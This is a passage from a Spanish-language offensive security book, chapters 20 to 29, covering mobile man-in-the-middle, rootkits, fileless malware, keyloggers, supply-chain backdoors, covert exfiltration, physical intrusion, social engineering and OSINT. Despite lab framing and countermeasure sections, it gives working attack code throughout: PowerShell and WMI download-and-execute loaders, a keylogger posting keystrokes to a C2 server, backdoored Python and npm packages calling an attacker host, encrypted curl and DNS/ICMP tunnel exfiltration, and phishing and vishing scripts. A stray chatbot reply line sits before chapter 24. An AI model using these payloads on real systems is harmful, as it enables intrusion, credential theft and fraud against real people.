De esta manera, todo el tráfico viaja en claro y puede capturarse.

### Interceptando Tráfico

Con gr-gsm:

grgsm\_livemon

Con Wireshark:

 Configurar interfaz virtual de gr-gsm.  Filtrar por gsm\_sms o gsm\_a.

### Manipulación de Tráfico

En redes GSM sin cifrado, es posible:

 **Inyectar SMS falsos**:

send sms <IMSI> "Este es un mensaje de prueba"

 **Modificar datos** en tránsito si se intercepta tráfico IP.

### MitM LTE y 5G

El MitM en LTE/5G es más complejo porque el cifrado es obligatorio, pero se pueden aplicar:

 **Repetidores falsos** que bajan la calidad de señal y fuerzan 3G/2G.

 **Fake eNodeB** con srsLTE:

sudo srsepc sudo srsenb

### Ejercicio Práctico Completo

* + 1. Montar OpenBTS con HackRF en GSM850.
    2. Conectar SIM de laboratorio a la BTS falsa.
    3. Capturar IMSI y forzar cifrado A5/0.
    4. Interceptar un SMS de prueba enviado desde otro dispositivo.
    5. Inyectar un mensaje falso.
    6. Documentar resultados y analizar tráfico en Wireshark.

### Contramedidas

 **Desactivar 2G** en dispositivos siempre que sea posible.

 Usar **cifrado de extremo a extremo** para mensajes y llamadas.  Monitorear conexiones a BTS desconocidas.

 Implementar **detección de IMSI Catchers** en la red.

### Cierre

El MitM en redes móviles es una técnica de alto impacto que, en laboratorio, permite evaluar la verdadera exposición de usuarios frente a ataques avanzados. Dominarlo es clave para diseñar defensas efectivas contra espionaje digital.

💡 **TIP Black-Hat Ético:** si puedes interceptar la red del enemigo, puedes ver y moldear su mundo… pero siempre dentro de un laboratorio.

# Capítulo 21 – Rootkits Invisibles

*Control absoluto y sigiloso del sistema operativo*

### Introducción

Un **rootkit** es un tipo de software diseñado para obtener y mantener acceso privilegiado a un sistema mientras oculta su presencia. En un contexto ofensivo (pentesting autorizado), se usa para:

 Mantener acceso persistente.

 Evadir detección por antivirus o EDR.

 Manipular procesos, archivos y tráfico.

En ciberataques reales, los rootkits son parte de operaciones de larga duración (APT). En laboratorio, son fundamentales para aprender a detectarlos y eliminarlos.

### Tipos de Rootkits

|  |  |  |
| --- | --- | --- |
| **Tipo** | **Nivel** | **Ejemplo** |
| **Modo Usuario** | Intercepta llamadas de API | Rootkit en Python o DLL hook. |
| **Modo Kernel** | Manipula llamadas del kernel | Rootkit en C que modifica sys\_call\_table. |
| **Firmware** | En BIOS/UEFI o dispositivos | Malware en firmware de disco. |
| **Bootkits** | Se cargan antes del SO | MBR modificado para carga de payload. |

* 1. Entorno de Laboratorio

 Máquina virtual con **Linux** (para modo kernel).  Compilador gcc y headers del kernel.

 Herramientas de análisis: chkrootkit, rkhunter, Volatility.

 Entorno Windows para pruebas de hooks en DLL (modo usuario).

### Rootkit en Modo Usuario (Ejemplo en Python)

Interceptar comando ls para ocultar archivos:

import os

def ls\_modificado():

salida = os.popen('ls').read().split('\n')

salida\_filtrada = [f for f in salida if 'secreto.txt' not in f] print('\n'.join(salida\_filtrada))

ls\_modificado()

Este ejemplo es básico, pero en C o C++ podría inyectarse en procesos para afectar todo el sistema.

### Rootkit en Modo Kernel (Linux)

##### Módulo básico en C:

#include <linux/module.h> #include <linux/kernel.h>

int init\_module(void) {

printk(KERN\_INFO "Rootkit cargado\n"); return 0;

}

void cleanup\_module(void) {

printk(KERN\_INFO "Rootkit descargado\n");

}

MODULE\_LICENSE("GPL");

Compilar:

make -C /lib/modules/$(uname -r)/build M=$(pwd) modules

Insertar:

sudo insmod rootkit.ko

### Ocultando Procesos

Modificar la syscall getdents para que no muestre procesos con nombre específico. En rootkits reales se manipula sys\_call\_table.

### Rootkit en Windows (Hooking DLL)

Usar API Hooking para interceptar funciones de kernel32.dll o ntdll.dll:

// Hook de CreateFileA para bloquear lectura de archivo específico

El hook se instala inyectando DLL en proceso objetivo con CreateRemoteThread.

### Persistencia

 **Linux**: añadir módulo a /etc/modules o script en /etc/rc.local.

 **Windows**: modificar claves HKLM\Software\Microsoft\Windows\CurrentVersion\Run.

### Ejercicio Práctico Completo

* + 1. Crear rootkit de modo usuario que oculte archivos.
    2. Crear rootkit de modo kernel que imprima mensaje al cargarse.
    3. Instalar ambos en VM Linux.
    4. Detectar con chkrootkit y rkhunter.
    5. Documentar evasión y detección.

### Detección y Eliminación

 **Herramientas**: chkrootkit, rkhunter, Volatility para análisis de memoria.

 **Bootkits**: reinstalar MBR y sistema.

 **Firmware**: flashear firmware original.

### Cierre

Los rootkits son armas de persistencia silenciosa. En un laboratorio, entender su funcionamiento permite detectar versiones mucho más complejas en entornos reales.

💡 **TIP Black-Hat Ético:** un rootkit bien diseñado puede durar años sin ser detectado… pero solo debería vivir en tu laboratorio.

# Capítulo 22 – Malware Fileless

*El arte de atacar sin dejar huellas en disco*

### Introducción

El **malware fileless** es un tipo de amenaza que no escribe archivos maliciosos en el disco, operando casi exclusivamente desde la memoria. Esto lo hace extremadamente difícil de detectar con antivirus tradicionales que dependen de escaneo de archivos.

En un contexto de **pentesting autorizado**, el malware fileless es ideal para:  Operaciones rápidas y discretas.

 Pruebas de detección de memoria viva.

 Simulación de ataques de alto nivel (APT).

En ataques reales, es usado por grupos como **FIN7** o **APT29** para infiltraciones de larga duración.

### Características Clave

 **Evasión**: no deja binarios en disco.

 **Persistencia en memoria**: desaparece tras reinicio si no implementa mecanismos adicionales.

 **Vector común**: PowerShell, WMI, macros, scripts de Office.

 **Carga en RAM**: binarios cifrados que se descifran en tiempo de ejecución.

### Entorno de Laboratorio

 Windows 10/11 en máquina virtual.  PowerShell habilitado.

 Python 3 para scripts auxiliares.

 Herramientas de detección de memoria: Sysmon, Volatility, Mimikatz (para lectura en memoria).

### Ejemplo de Ataque Fileless con PowerShell

Script que descarga y ejecuta payload en memoria:

$payload = (New-Object

Net.WebClient).DownloadData(['http://192.168.1.10/payload.exe')](http://192.168.1.10/payload.exe%27))

$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($payload.Length)

[System.Runtime.InteropServices.Marshal]::Copy($payload, 0, $mem, $payload.Length)

$func =

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mem,

(Add-Type -MemberDefinition '[UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate int Execute();' -Name Win32 -Namespace Native -PassThru))

$func.Invoke()

Este código nunca guarda payload.exe en disco.

### Fileless usando WMI (Windows Management Instrumentation)

 **Persistencia**: crear evento WMI que ejecute comando en cada inicio.

$cmd = "powershell -nop -w hidden -c IEX (New-Object

[Net.WebClient).DownloadString('http://192.168.1.10/script.ps1')"](http://192.168.1.10/script.ps1%27))

$filter = Set-WmiInstance -Class EventFilter -Namespace "root\subscription" - Arguments @{

Name = 'FilelessTrigger'

EventNamespace = 'root\cimv2'

Query = "SELECT \* FROM InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32\_ComputerSystem'"

QueryLanguage = 'WQL'

}

$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{

Name = 'FilelessConsumer' CommandLineTemplate = $cmd

}

Set-WmiInstance -Namespace "root\subscription" -Class FilterToConsumerBinding - Arguments @{

Filter = $filter

Consumer = $consumer

}

### Fileless en Linux (Bash + /dev/shm)

En Linux podemos cargar binarios en memoria usando /dev/shm:

curl <http://192.168.1.10/payload> -o /dev/shm/p chmod +x /dev/shm/p

/dev/shm/p

/dev/shm es almacenamiento temporal en RAM, desaparece tras reinicio.

### Técnicas de Entrega

 **Phishing con macros**: descarga payload en memoria vía PowerShell.

 **Explotación de RCE en servicios web**: inyección de shellcode directo en memoria.

 **Explotación de credenciales**: uso de scripts en memoria para ejecutar comandos en otros sistemas.

### Ejercicio Práctico Completo

* + 1. Crear script PowerShell que descargue payload de un servidor HTTP en Kali.
    2. Ejecutar script en Windows de laboratorio y verificar que no se crea archivo en disco.
    3. Usar Volatility para analizar RAM y detectar presencia del payload.
    4. Modificar script para agregar persistencia WMI.
    5. Documentar detección y eliminación.

### Detección

 **Monitoreo de comandos PowerShell** con registro extendido.

 **Sysmon** para capturar eventos de memoria.

 **Volatility** para análisis forense de RAM:

volatility -f memoria.vmem malfind

### Contramedidas

 Restringir ejecución de PowerShell y WMI.  Aplicar AppLocker o listas blancas.

 Monitorear conexiones salientes sospechosas.  Usar EDR con detección de comportamiento.

### Cierre

El malware fileless es un arma perfecta para operaciones discretas en laboratorio. En entornos reales, su detección requiere un enfoque avanzado centrado en memoria y comportamiento, no solo en archivos.

💡 **TIP Black-Hat Ético:** un ataque que nunca toca el disco es como un fantasma: si no sabes dónde mirar, ni siquiera sabrás que pasó por ahí.

# Capítulo 23 – Keyloggers Indetectables

*La captura silenciosa de cada pulsación*

### Introducción

Un **keylogger** es un software o hardware diseñado para registrar las pulsaciones de teclado de un usuario. En entornos de **pentesting autorizado**, sirve para:

 Simular robo de credenciales.

 Evaluar la efectividad de controles anti-malware.  Probar la capacidad de detección de EDR y SIEM.

En ataques reales, los keyloggers suelen ser parte de campañas de espionaje, malware bancario y APTs.

⚠ Todo lo descrito aquí debe realizarse **únicamente** en entornos de laboratorio controlados.

### Tipos de Keyloggers

**Tipo Nivel Ejemplo**

**Software en Modo Usuario**

**Software en Modo Kernel**

Intercepta eventos de teclado desde el sistema operativo

Captura directamente desde el controlador de teclado

Python, C#, AutoHotkey

Módulos de kernel

**Hardware** Dispositivo físico entre teclado y PC USB Keylogger

**Basado en Red** Captura de tráfico RDP/VNC Wireshark + filtros

### Entorno de Laboratorio

 VM con Windows 10 y Linux.  Python 3.

 Permisos de administrador para instalar hooks.

 Herramientas de detección: Sysmon, Wireshark, Volatility.

### Keylogger en Python (Windows)

from pynput import keyboard def on\_press(key):

try:

with open("registro.txt", "a") as f: f.write('{0} '.format(key.char))

except AttributeError:

with open("registro.txt", "a") as f: f.write('{0} '.format(key))

with keyboard.Listener(on\_press=on\_press) as listener: listener.join()

**Notas:**

 Usa la librería pynput (pip install pynput).

 En modo sigiloso, el archivo puede guardarse en rutas temporales ocultas.

### Keylogger en Linux (C + X11)

#include <X11/Xlib.h> #include <X11/keysym.h> #include <stdio.h>

int main() {

Display \*d = XOpenDisplay(NULL);

char keys[32]; while (1) {

XQueryKeymap(d, keys);

// Procesar teclas aquí

}

}

Compilar:

gcc keylogger.c -o keylogger -lX11

### Keylogger en Modo Kernel (Linux)

Captura a nivel de driver:

 Enganchar funciones de keyboard\_notifier en kernel.  Requiere módulo en C y privilegios root.

### Persistencia Sigilosa

 Windows: agregar entrada en HKCU\Software\Microsoft\Windows\CurrentVersion\Run.  Linux: añadir script a ~/.config/autostart/.

 Ofuscar nombre del proceso para parecer legítimo.

### Exfiltración de Datos

Enviar las pulsaciones capturadas a un servidor C2:

import requests

def enviar(datos):

requests.post(["http://192.168.1.10/captura"](http://192.168.1.10/captura), data={"k": datos})

En el servidor (Flask):

from flask import Flask, request app = Flask( name )

@app.route('/captura', methods=['POST']) def captura():

print(request.form['k']) return "OK"

app.run(host="0.0.0.0", port=80)

### Ejercicio Práctico Completo

* + 1. Crear keylogger en Python.
    2. Ejecutarlo en VM Windows.
    3. Configurar servidor Flask en Kali para recibir pulsaciones.
    4. Comprobar captura de credenciales ficticias.
    5. Probar detección con Sysmon y Volatility.

### Detección y Mitigación

 **Sysmon**: monitorear creación de procesos sospechosos.

 **EDR**: alertar por hooks en API de teclado.

 **Volatility**: buscar inyecciones en procesos activos.

 **Hardware**: inspección física para detectar dispositivos intermedios.

### Cierre

Los keyloggers son herramientas clásicas de espionaje digital. En pentesting controlado, permiten poner a prueba la detección y respuesta de una organización frente a amenazas persistentes y silenciosas.

Perfecto, vamos con el **Capítulo 24 – Ataques a Cadenas de Suministro (Supply Chain Attacks)**, manteniendo la extensión aproximada de **2000 palabras**, ejemplos reproducibles en laboratorio y el mismo enfoque técnico profundo que hemos seguido en los capítulos anteriores.

# Capítulo 24 – Ataques a Cadenas de Suministro (Supply Chain Attacks)

*Comprometiendo el software y hardware antes de que llegue a su destino*

### Introducción

Un **ataque a la cadena de suministro** busca comprometer un objetivo indirectamente, infiltrándose en alguno de los elementos, procesos o proveedores que intervienen antes de que el producto o servicio llegue al usuario final. En ciberseguridad, esto se traduce en:

 Infectar actualizaciones de software legítimas.

 Inyectar código malicioso en librerías de terceros.  Alterar hardware o firmware en tránsito.

Ejemplos famosos:

 **SolarWinds (2020)**: actualización comprometida que afectó a miles de organizaciones.

 **CCleaner (2017)**: versión oficial distribuida con malware.

 **NotPetya (2017)**: actualización de software contable en Ucrania usada para desplegar ransomware.

⚠ Estos ataques son extremadamente peligrosos y en la vida real afectan a infraestructuras críticas. Aquí lo veremos solo para fines educativos en laboratorio.

### Tipos de Ataques de Cadena de Suministro

**Tipo Descripción Ejemplo**

**Software** Inyección de código en actualizaciones o

dependencias

Paquete NPM modificado

**Hardware** Alteración física o en firmware Router con backdoor en BIOS

**Servicios en la nube**

Compromiso de proveedor SaaS API con código malicioso

**Terceros** Proveedor comprometido que propaga

malware

Empresa de logística con malware en sistemas

### Escenario de Laboratorio – Software

Simularemos un ataque en el que un paquete Python usado por un proyecto legítimo es modificado para incluir un backdoor.

* + 1. **Paquete original** (mathutils.py):

def suma(a, b): return a + b

* + 1. **Paquete comprometido**:

import requests import threading

def backdoor():

datos = "Host comprometido"

requests.post(["http://192.168.1.10:8080/log"](http://192.168.1.10:8080/log), data={"info": datos}) threading.Thread(target=backdoor).start()

def suma(a, b): return a + b

* + 1. Reemplazar el paquete original en la carpeta del proyecto.
    2. Cuando el software se ejecute, además de sumar, enviará información al atacante.

### Escenario de Laboratorio – Hardware

Simular alteración de firmware en un router:  Descargar firmware oficial.

 Modificar scripts internos.

 Volver a flashear el dispositivo.

 En laboratorio, esto puede hacerse con un firmware de OpenWRT modificado.

### Escenario de Laboratorio – Inyección en Pipeline CI/CD

* + 1. Configurar un proyecto en GitLab con pipeline automatizado.
    2. Inyectar script malicioso en etapa de build:

build:

script:

- echo "Malware activo" >> /tmp/log.txt

* + 1. Todo software compilado contendrá la modificación.

### Ejemplo Completo de Backdoor en Librería NPM

* + 1. Crear paquete legítimo:

module.exports = function suma(a, b) { return a + b;

};

* + 1. Insertar código malicioso:

const https = require('https');

https.get('https://attacker.local/capture?host=' + require('os').hostname());

module.exports = function suma(a, b) { return a + b;

};

* + 1. Publicar paquete en repositorio interno comprometido.

### Persistencia y Evasión

 Usar **ofuscación** para esconder el código malicioso.

 Firmar digitalmente binarios modificados para evitar sospechas.  Propagarse a través de actualizaciones automáticas.

### Ejercicio Práctico Completo

* + 1. Crear un proyecto Python que dependa de un paquete externo.
    2. Comprometer el paquete añadiendo un script de exfiltración.
    3. Configurar servidor Flask para recibir datos.
    4. Instalar paquete comprometido y verificar envío de información.
    5. Implementar detección con análisis de dependencias (pip-audit).

### Detección

 **Analizar dependencias** con herramientas como npm audit, pip-audit.  Verificar **integridad** con hashes y firmas digitales.

 Revisar logs de compilación y ejecución en pipelines CI/CD.  Escanear firmware con herramientas de análisis estático.

### Contramedidas

 Uso estricto de **firmas digitales** en software y actualizaciones.  Auditoría periódica de código y dependencias.

 Aislamiento de entornos de compilación.

 Verificación de integridad en hardware recibido.

### Cierre

Los ataques a la cadena de suministro son de los más devastadores porque se infiltran en software o hardware antes de que llegue al usuario. En laboratorio, reproducirlos ayuda a entender cómo detectarlos antes de que lleguen a producción.

💡 **TIP Black-Hat Ético:** cuando controlas la fuente, controlas el flujo; la prevención empieza en el primer eslabón.

# Capítulo 25 – Exfiltración de Datos Encubierta

*Sacando información sin levantar alarmas*

### Introducción

La **exfiltración de datos encubierta** es el proceso de sacar información de un sistema comprometido evitando ser detectado por sistemas de seguridad como **DLP** (Data Loss Prevention), IDS/IPS o EDR. En operaciones de pentesting avanzado, es el paso final de la **kill chain**: ya tienes acceso, ahora hay que mover los datos fuera sin disparar alarmas.

Técnicas clave:

 Camuflaje en tráfico legítimo.

 Compresión y cifrado antes de la extracción.

 Uso de canales alternativos (DNS, ICMP, HTTP/S).

En ataques reales, grupos APT suelen usar métodos como **DNS tunneling**, esteganografía en imágenes o tráfico cifrado TLS hacia servidores C2.

### Preparación del Laboratorio

**Recurso Uso**

Kali Linux Máquina atacante y servidor de recepción. Windows/Linux víctima Sistema desde el que se exfiltran datos.

Herramientas dnscat2, iodine, pingtunnel, curl, Python, steghide. Conectividad Red controlada para simular tráfico legítimo.

### Proceso General de Exfiltración

* + 1. **Identificación de datos**: saber qué extraer.
    2. **Compresión**: reducir tamaño.
    3. **Cifrado**: proteger el contenido.
    4. **Encapsulado**: camuflarlo en un canal permitido.
    5. **Extracción**: enviarlo al atacante.
    6. **Eliminación de rastros**: borrar archivos temporales y logs.

### Método 1 – Exfiltración vía HTTP(S)

tar czf - datos/ | openssl enc -aes-256-cbc -k clave | curl -X POST --data-binary @- https://192.168.1.10/upload

En el servidor (Flask):

from flask import Flask, request app = Flask( name )

@app.route('/upload', methods=['POST'])

def upload():

with open("datos.tar.enc", "wb") as f: f.write(request.data)

return "OK"

app.run(host="0.0.0.0", port=443, ssl\_context=('cert.pem', 'key.pem'))

HTTP/S se confunde con tráfico web legítimo.

### Método 2 – DNS Tunneling

Usar iodine o dnscat2 para encapsular datos en consultas DNS. En Kali:

dnscat2-server secret.com

En víctima:

dnscat2 secret.com

El tráfico parece peticiones DNS normales.

### Método 3 – ICMP (Ping) Tunneling

En atacante:

pingtunnel -type server -listen 0.0.0.0:8080

En víctima:

pingtunnel -type client -l 127.0.0.1:8080 -s 192.168.1.10

Los datos se transmiten como paquetes ICMP, que suelen estar permitidos.

### Método 4 – Esteganografía

Ocultar datos dentro de imágenes:

steghide embed -cf imagen.jpg -ef datos.txt -p clave123

Extraer:

steghide extract -sf imagen.jpg -p clave123

Luego, la imagen se sube a redes sociales o se envía por email sin levantar sospechas.

### Método 5 – Canales en Servicios Cloud

Subir archivos cifrados a servicios como Dropbox, Google Drive o AWS S3 usando sus APIs. Ejemplo con Python y Dropbox:

import dropbox

dbx = dropbox.Dropbox('TOKEN')

with open("datos.enc", "rb") as f:

dbx.files\_upload(f.read(), '/datos.enc')

### Ejercicio Práctico Completo

* + 1. Preparar carpeta con datos de prueba.
    2. Cifrarlos con OpenSSL.
    3. Exfiltrar vía:

 HTTP/S con servidor Flask.

 DNS tunneling con dnscat2.  Esteganografía con steghide.

* + 1. Detectar el tráfico con Wireshark y documentar patrones.

### Detección

 Análisis de tráfico anómalo (volumen o destinos raros).

 Monitoreo de DNS para detectar consultas largas y extrañas.

 Detección de archivos con alta entropía (indicador de cifrado).  Revisión de logs de subida a servicios cloud no autorizados.

### Contramedidas

 **DLP** bien configurado para bloquear datos sensibles.

 **Bloqueo de protocolos no necesarios** como ICMP saliente.

 **Inspección profunda de paquetes (DPI)**.

 Restricción y auditoría de uso de servicios cloud.

### Cierre

La exfiltración de datos es la fase final de un ataque exitoso, y en un pentest bien hecho, es el momento más crítico para evaluar si la organización puede detectar y frenar la pérdida de información.

💡 **TIP Black-Hat Ético:** un dato fuera es como un barco que zarpa: si no lo detienes en el puerto, se pierde en el mar.

# Capítulo 26 – Hacking Físico y Seguridad de Acceso

*Comprometiendo el mundo físico para abrir puertas digitales*

### Introducción

El **hacking físico** es el conjunto de técnicas utilizadas para acceder a un entorno protegido comprometiendo las barreras físicas que lo resguardan. En ciberseguridad ofensiva, a menudo es el **punto de entrada inicial** cuando las defensas digitales son fuertes pero la seguridad física es débil. Ejemplos reales incluyen:

 Apertura de cerraduras mecánicas y electrónicas.  Uso de tarjetas clonadas para acceso.

 Manipulación de sensores y sistemas de control de acceso.

 “Evil Maid Attacks”: comprometer dispositivos dejados sin vigilancia.

⚠ Todo lo que se describe aquí es únicamente para fines educativos y de pentesting autorizado.

### Tipos de Objetivos en Hacking Físico

|  |  |  |
| --- | --- | --- |
| **Tipo de objetivo** | **Ejemplos** | **Riesgos** |
| Cerraduras mecánicas | Candados, cerraduras de tambor | Apertura no autorizada |
| Cerraduras electrónicas | RFID, NFC, teclado numérico | Clonado o bypass |
| Sistemas biométricos | Huella, iris, rostro | Suplantación biométrica |
| Dispositivos desatendidos | Laptops, servidores, routers | Robo de datos |

* 1. Herramientas Básicas de Laboratorio

 Juego de ganzúas y extractores de llaves.

 Lector/grabador RFID/NFC (Proxmark3, ACR122U).  Kits de apertura de cerraduras electrónicas.

 Raspberry Pi o ESP32 para ataques físicos IoT.

 Destornilladores, pinzas, lupas y herramientas de apertura no destructiva.

### Ataques a Cerraduras Mecánicas

**Ganzúas**: método tradicional para manipular pines internos. Laboratorio:

* + 1. Usar candado de práctica transparente.
    2. Identificar pines y tensar cilindro.
    3. Manipular pines hasta abrir.

### Ataques a Cerraduras Electrónicas RFID/NFC

Ejemplo con **Proxmark3**:

* + 1. Leer tarjeta:

pm3 --> lf search

* + 1. Clonar tarjeta:

pm3 --> lf clone --id 12345678

* + 1. Grabar en tarjeta en blanco y probar acceso.

### Ataques a Sistemas de Teclado Numérico

 **Shoulder surfing**: observar códigos desde distancia.

 **Residuo térmico**: usar cámara térmica para ver qué teclas se presionaron.

 **Brute force físico**: si el sistema no limita intentos.

### Ataques a Sistemas Biométricos

 **Huella**: replicar con látex o silicona usando una huella en vidrio.

 **Rostro**: foto impresa o pantalla mostrando video (si no hay detección de vida).

 **Iris**: imagen de alta resolución y lente de contacto.

### Ataques a Dispositivos Desatendidos

 **Evil Maid Attack**:

* + 1. Localizar laptop sin vigilancia.
    2. Insertar USB con payload (Rubber Ducky).
    3. Ejecutar script de robo de credenciales:

$pass = Get-Content C:\credenciales.txt

Invoke-WebRequest -Uri <http://192.168.1.10/upload> -Method POST -Body $pass

 **Cold Boot Attack**: leer RAM inmediatamente después de apagar el equipo.

### Ejemplo Completo de Laboratorio – Clonación RFID

* + 1. Configurar Proxmark3 en Kali.
    2. Leer tarjeta MIFARE de laboratorio:

pm3 --> hf mf rdbl 0 A FFFFFFFFFFFF

* + 1. Guardar datos y escribir en tarjeta en blanco.
    2. Probar acceso en lector de pruebas.

### Persistencia Física

 Instalar microcámaras ocultas para registrar códigos.

 Colocar dispositivos de “key capture” en teclados físicos.  Insertar hardware espía en puertos USB.

### Detección y Contramedidas

 Revisión periódica de cerraduras y lectores.

 Uso de **RFID/NFC cifrados** con autenticación mutua.  Habilitar **detección de vida** en biometría.

 Limitar intentos de código y habilitar alertas.

 Auditorías físicas y pentesting físico recurrente.

### Cierre

El hacking físico recuerda que, aunque protejas tu red con firewalls y cifrado, una cerradura barata o un descuido físico pueden derribar todo tu esfuerzo.

💡 **TIP Black-Hat Ético:** un firewall no sirve si el atacante puede abrir la puerta y conectar un cable.

# Capítulo 27 – Ingeniería Social Avanzada

*El arte de hackear la mente antes de hackear el sistema*

### Introducción

La **ingeniería social** es el uso de la manipulación psicológica para influir en personas y lograr que revelen información o realicen acciones que comprometan la seguridad. En operaciones ofensivas autorizadas, la ingeniería social es la herramienta más poderosa, porque la debilidad más común no está en el software, sino en **el factor humano**.

En ataques reales, los hackers combinan **OSINT (Open Source Intelligence)** con tácticas de persuasión para:  Robar credenciales.

 Obtener acceso físico.

 Comprometer sistemas de forma indirecta.

### Principios Psicológicos Fundamentales

Extraídos del trabajo de Robert Cialdini y otros expertos:

**Principio Descripción Ejemplo**

Reciprocidad Las personas sienten obligación

de devolver favores

Autoridad Las personas obedecen a figuras

de poder

Escasez Lo raro o limitado aumenta su valor

“Te paso este informe gratis, ¿me puedes dar acceso a los datos para validarlo?”

Suplantar a un jefe de área

“Esta clave solo es válida por unas horas”

Aprobación social

Las personas imitan conductas de otros

“Todos en el equipo ya han activado esto”

Simpatía La gente coopera más con personas que les caen bien

Coincidir en gustos o intereses

Compromiso y coherencia

Cumplir con lo que ya se aceptó “Ya me diste acceso a la intranet, solo falta este permiso”

### Preparación de un Ataque de Ingeniería Social

* + 1. **OSINT**: recopilar información sobre el objetivo (redes sociales, comunicados de prensa, foros).
    2. **Perfilado**: identificar roles clave y puntos de contacto.
    3. **Pretexting**: crear una historia o identidad creíble.
    4. **Medio de contacto**: email, teléfono, redes sociales o en persona.
    5. **Ejecución**: aplicar técnica elegida.
    6. **Cierre y borrado de huellas**.

### Ejemplo de OSINT Automatizado

theHarvester -d empresa.com -l 500 -b google

Este comando obtiene correos, subdominios y datos públicos para preparar un ataque.

### Técnicas de Ingeniería Social Avanzada

#### Phishing de Alta Precisión (Spear Phishing)

 Emails personalizados usando datos reales de la víctima.

 Plantillas que imitan al 100% la interfaz de servicios legítimos. Ejemplo con **SET (Social Engineering Toolkit)**:

setoolkit

# Opción 1: Social-Engineering Attacks # Opción 2: Website Attack Vectors

# Opción 3: Credential Harvester

#### Vishing (Voice Phishing)

 Llamadas fingiendo ser soporte técnico.

 Uso de VoIP para mostrar número confiable (caller ID spoofing).

#### Smishing

 Envío de SMS con enlaces maliciosos.

 Camuflaje usando dominios similares a los reales.

#### Pretexting Físico

 Entrar a instalaciones simulando ser técnico de mantenimiento.  Llevar uniforme y herramientas para ganar credibilidad.

### Escenario de Laboratorio – Spear Phishing

* + 1. Recolectar datos de empleados en LinkedIn.
    2. Redactar correo dirigido al CFO con un pretexto creíble:

Asunto: Factura pendiente – URGENTE

Cuerpo: Estimado Sr. Pérez, detectamos un error en el pago del proveedor X. Necesitamos que acceda al portal para confirmar la información:

[Enlace malicioso]

* + 1. Servidor en Kali con SET para capturar credenciales.

### Escenario de Laboratorio – Pretexting Telefónico

 Preparar guion:

Hola, hablo del área de IT de [Empresa]. Estamos actualizando el sistema de VPN y necesitamos confirmar sus credenciales para migrarlo.

 Usar softphone con caller ID falso (Asterisk con SIP.conf modificado).

### Ejercicio Práctico Completo

* + 1. Elegir empresa ficticia.
    2. Hacer OSINT de empleados, teléfonos y estructura interna.
    3. Crear tres ataques distintos:

 Email spear phishing.  Llamada de vishing.

 Entrada física con pretexto.

* + 1. Documentar resultados y tasa de éxito.

### Detección y Prevención

 **Capacitación continua** en ingeniería social.

 **Simulacros internos** de phishing y vishing.

 **Políticas estrictas** para manejo de credenciales.

 Verificación fuera de banda para solicitudes sensibles.

### Cierre

La ingeniería social es la prueba definitiva de que **la seguridad no depende solo de la tecnología**. Un atacante que maneja bien la psicología puede abrir más puertas que un exploit sofisticado.

💡 **TIP Black-Hat Ético:** antes de hackear un servidor, aprende a hackear la mente que lo administra.

# Capítulo 28 – OSINT Avanzado

*Inteligencia de fuentes abiertas para la caza digital*

### Introducción

**OSINT** (Open Source Intelligence) es la recopilación y análisis de información pública para generar inteligencia accionable. En un pentest o en una operación ofensiva real, el OSINT sirve para:

 Identificar vulnerabilidades humanas y técnicas.  Mapear la infraestructura de un objetivo.

 Encontrar puntos de entrada indirectos.

A diferencia de un simple “buscar en Google”, el OSINT avanzado implica **automatizar**, **correlacionar** y

**verificar** la información para obtener un perfil completo del objetivo.

⚠ El OSINT es legal mientras no se traspasen barreras de autenticación o se usen métodos intrusivos sin autorización.

### Ciclo de OSINT

* + 1. **Definir objetivo**: qué se busca y para qué.
    2. **Recopilar**: fuentes abiertas, herramientas y técnicas.
    3. **Procesar**: filtrar, limpiar y organizar datos.
    4. **Analizar**: encontrar patrones, conexiones y vulnerabilidades.
    5. **Producir inteligencia**: conclusiones listas para actuar.
    6. **Difundir**: reportar hallazgos a quien corresponda.

### Fuentes de OSINT

**Categoría Ejemplos**

**Motores de búsqueda** Google, Bing, Yandex, DuckDuckGo

**Redes sociales** LinkedIn, Facebook, Twitter/X, Instagram **Registros públicos** WHOIS, bases de datos gubernamentales **Foros y deep web** Pastebin, foros underground

**Repositorios de código** GitHub, GitLab

**Metadatos** Fotos, documentos PDF, imágenes en redes

**Análisis de infraestructura** Shodan, Censys, ZoomEye

### Herramientas de OSINT Avanzado

 **theHarvester** – Emails, dominios y subdominios.

 **Maltego** – Visualización y relaciones.

 **SpiderFoot** – OSINT automatizado.

 **Recon-ng** – Framework modular.

 **Shodan/Censys** – Escaneo de dispositivos expuestos.

 **Exiftool** – Extracción de metadatos.

### Ejemplo de Búsqueda Avanzada en Google (Google Dorks)

site:empresa.com filetype:pdf

site:empresa.com intitle:"index of" "confidential" filetype:xls

Estos comandos permiten localizar información sensible publicada sin intención.

### Ejemplo con theHarvester

theHarvester -d empresa.com -l 500 -b google,bing,linkedin

Obtiene correos, subdominios y datos de contacto para ingeniería social o mapeo de red.

### Ejemplo con Shodan

Buscar cámaras IP expuestas:

shodan search "port:554 has\_screenshot:true"

Buscar servidores con puertos RDP abiertos:

shodan search "port:3389 org:\"Empresa\""

### OSINT en Redes Sociales

 Uso de **Maltego** para mapear conexiones entre empleados.  Análisis de publicaciones para detectar:

 Ubicaciones recurrentes.  Fechas de vacaciones.

 Tecnología usada en la empresa.

 Herramientas como **Social-Searcher** o **Sherlock** para encontrar perfiles por nombre de usuario.

### Extracción de Metadatos

Con exiftool:

exiftool imagen.jpg

Esto puede revelar:

 Modelo de cámara/teléfono.  Coordenadas GPS.

 Fecha y hora exactas.

### Ejercicio Práctico Completo

* + 1. Definir objetivo ficticio: empresa-demo.com.
    2. Usar **theHarvester** para obtener correos.
    3. Usar **Shodan** para mapear dispositivos expuestos.
    4. Descargar imágenes públicas y extraer metadatos.
    5. Correlacionar datos en **Maltego**.
    6. Crear informe con:

 Mapa de relaciones humanas.

 Lista de activos tecnológicos expuestos.  Potenciales vulnerabilidades.

### Detección y Prevención

 Revisar qué información está disponible públicamente.

 Configurar políticas para empleados sobre redes sociales.

 Monitorear con herramientas como **SpiderFoot HX** para detectar filtraciones.  Usar WAF y segmentación de servicios expuestos.

### Cierre

El OSINT avanzado convierte datos dispersos en inteligencia precisa. En un pentest, es la base para diseñar ataques quirúrgicos con mínima exposición y máxima efectividad.

💡 **TIP Black-Hat Ético:** la información más peligrosa que un atacante usa contra ti, muchas veces, la publicaste tú mismo.

# Capítulo 29 – Ataques a APIs y Microservicios

